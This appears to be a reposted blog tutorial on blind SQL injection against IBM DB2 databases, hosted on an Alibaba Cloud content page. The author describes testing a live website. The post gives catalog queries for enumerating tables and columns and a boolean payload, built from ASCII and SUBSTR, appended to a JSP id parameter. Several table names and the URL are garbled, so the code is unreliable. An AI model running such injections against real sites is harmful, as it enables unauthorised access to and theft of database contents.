SQL Injection in DB2 database

Source: Internet
Author: User
Tags ibm db2

There are fewer people using DB2. Today I met a DB2 website for injection and wanted to try it. However, it is difficult to find relevant information on the Internet, so I had to study it myself.

I have summarized the following articles by referring to the IBM DB2 document:

1. select NAME from SYSIBM. Variables Ables where CREATOR = USER

Returns the table names created by all users in the system.

2. select NAME from SYSIBM. SYSCOLUMNS where TBCREATOR = ''and TBNAME =''

Returns the column name in the table.

3. select NAME from SYSIBM. Tables Ables where CREATOR = user fetch first 1 ROWS ONLY

This is the most critical part. The first record is returned, similar to top 1 in SQL server.

4. SUBSTR (string, position, length)

Returns a substring of a string, similar to a mid

5. ASCII.

With these statements and functions, we can easily guess all the table names, field names, and data in the ascii semi-division method.

For example, to determine whether the ascii code of the first character of the name of the first table is greater than 50:

Http: // *. com? Test. jsp? Id = 1 and (select ASCII (SUBSTR (NAME, 1, 1) from SYSIBM. Tables Ables where CREATOR = user fetch first 1 rows only)> 50 --

Http://blog.waynedeng.com/blogview.asp? LogID = 543

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.